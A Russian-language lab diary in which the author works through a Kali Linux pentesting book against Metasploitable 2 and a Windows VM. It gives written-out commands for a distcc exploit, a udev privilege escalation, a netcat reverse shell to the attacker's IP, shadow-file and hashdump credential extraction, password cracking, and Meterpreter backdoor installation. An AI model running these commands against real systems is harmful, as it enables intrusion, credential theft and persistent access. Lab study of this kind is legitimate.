День 10. Повышение привилегий на Linux и подбор пароля
Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!
Вчера я хотел продолжить изучать протоколы, но все же снова решил вернуться к книге Парасрам Шивы «Kali Linux. Тестирование на проникновение». Остановился я на девятой главе, где у меня не получилось повысить привилегии.
На этот раз установил Metasploitable 2 (который является линуксом) и просканировал его. Порт 3632 открыт, следовательно, можем воспользоваться уязвимостью службы distcc. Находим эксплойт exploit/unix/misc/distcc_exec
. Далее при помощи следующей команды устанавливаем RHOST
(192.168.56.107 – это IP целевой машины).
msf6 exploit(unix/misc/distcc_exec) > hosts -R -S 107
После ставим нагрузку payload/cmd/unix/reverse
и устанавливаем наш IP в LHOST
. Запускаем эксплуатацию. Замечательно, мы получили доступ к Metasploitable 2.
Далее узнаем кто мы есть в системе:
whoami
Определился как daemon
. Теперь определим версию ядра:
uname -r
Далее на сайте https://www.exploit-db.com/ ищем эксплойт для Linux Kernel 2.6. Был найден Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)
. Далее предлагается найти udev
в Kali Linux:
$ searchsploit udev
Далее необходимо перенести этот эксплойт с нашей машины на целевую. И, конечно же в книге неактуальный путь. Эксплойт находится по следующему пути: /usr/share/exploitdb/exploits/linux/local/8572.c
. Далее запускаем сервер:
$ service apache2 start
И скачиваем файл при помощи команды wget
из скомпрометированной машины.
wget 192.168.56.101/8572.c -O 8572.c
Компилируем файл:
gcc 8572.c -o 8572
Далее в описании эксплойта написано: «Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, usually is the udevd PID minus 1) as argv[1].
» Чтобы получить идентификатор процесса (PID) сокета udevd netlink, необходимо выполнить следующую команду cat /proc/net/netlink
.
Либо, выполнив команду ps aux | grep udev
, но при этом не забыв вычесть единицу. Далее необходимо создать файл run со следующим содержимым:
echo '#!/bin/bash' > run
echo '/bin/netcat -e /bin/bash 192.167.56.101 31337' >> run
Так же необходимо запустить Netcat на атакующей машине:
nc -vv -l -p 31337
После запустить эксплойт с нашим PID. Но, ничего не произошло. Чтобы посмотреть, что сохранилось в файле run, ввел команду vim
(редактировать, конечно же, нельзя). Оказалось, ошибся в IP атакующей машины. Удалил файл run и создал с новыми данными.
echo '#!/bin/bash' > run
echo '/bin/netcat -e /bin/bash 192.168.56.101 31337' >> run
Запускаю эксплойт (2280 – нужный PID):
./8572 2280
Утилита Netcat приняла на порт 31337 управление скомпрометированной машины. Если ввести whoami
, то мы можем увидеть, что являемся root-пользователем.
Раздел «Инструменты подбора пароля»
Теперь могу продвигаться в изучении Kali Linux. Перехожу к подбору пароля. Здесь идет речь о подборе пароля по имеющемуся хешу. Снова подключаемся к Metasploitable 2. На этот раз файл run я создал на сервере атакующей машины и загрузил на скомпрометированную.
Для побора пароля буду использовать John the Ripper (Джон Потрошитель) – инструмент для взлома хеша пароля. Он может взломать (подобрать) пароль для более чем 40 типов хешей.
Но, для начала эти пароли необходимо выгрузить. Найдем файлы shadow
и passwd
. В папке etc:
ls -a | grep pass
Открываем при помощи vim
и копируем на атакующую машину. Далее, при помощи команды unshadow объединяем файлы:
$ unshadow passwd shadow > pass
Далее передаем «Джону» наш список:
$ john pass
Несмотря на то, что я не скачивал дополнительные базы слов, «Джону» удалось взломать два пароля. Загрузил список паролей с официального сайта (более 5 млн.). Результат не изменился:
$ john --wordlist=all.lst pass
Возможно, что-то делаю не так.
Для взлома хешей паролей Windows предлагается использовать Ophcrack. Но, для начала необходимо выгрузить эти данные. Вспоминаю, в третий день я использовал hashdump. Снова используем уязвимость в SMB:
msf6 > use exploit/windows/smb/psexec
Далее в оболочке meterpreter:
meterpreter > run post/windows/gather/hashdump
Вот и получил эти хеши. Далее скачиваю радужные таблицы (https://ophcrack.sourceforge.io/tables.php). В GUI версии Ophcrack подключаю эти таблицы. Далее запускаю «Crack».
Далее пробуем подобрать пароль для VNC, который работает на Metasploitable 2. Будем использовать Hydra.
# hydra -V -h -P password.lst 172.16.43.156 vnc
К сожалению, не получилось. Необходимо вернуться к этому позднее. Теперь будем использовать Mimikatz. Сначала загружаем его:
meterpreter > load mimikatz
Получаю следующий ответ: The «mimikatz» extension has been replaced by «kiwi». Please use this in future. Что же, тогда нужен хелп:
meterpreter > help
Следующая команда самая подходящая:
meterpreter > kiwi_cmd -f sekurlsa::searchPasswords
Найти учетные данные не получилось. Зато получилось вывести кофе…
meterpreter > kiwi_cmd -f standard::coffee
Поддержание доступа к скомпрометированной машине
Предположим, доступ к машине мы получили. Теперь его нужно поддерживать. Разберемся с бэкдором для входа в операционную систему.
Cymothoa – инструмент, создающий в ОС бэкдор. Для начала его нужно установить. Теперь выводим список доступных шелл-кодов:
$ cymothoa -S
В итоге у меня не получилось. Для этого необходимо скомпрометировать целевую машину на Linux. Поэтому перехожу к бэкдору Meterpreter, а именно metsvc. Устанавливаю его:
meterpreter > run metsvc
Все попытки закончились следующим результатом: Cannot create service (0x00000431)
. Не помогли даже китайские сайты. На всех ресурсах показано, что работает это без проблем. Например, на сайте https://www.cxymm.net/article/nzjdsds/77957650 показана та же самая ошибка (такую статью можно найти на нескольких сайтах), но после нее, сессия все равно открывается.
Если проанализировать папку TEMP (C:\Windows\Temp\), то можно найти exe и dll бэкдора. Может необходимо его как-то вручную запустить.
Потом перечитал главу. Бэкдор должен заработать после перезагрузки целевой машины. Перезагрузил. metsvc.exe
появился в процессах, но сессия все равно не создается.
Придется оставить этот вопрос.
Сегодня все же удалось повысить привилегии в скомпрометированной машине на Linux. Так же познакомился с подбором пароля и попробовал оставить бэкдор, но неудачно.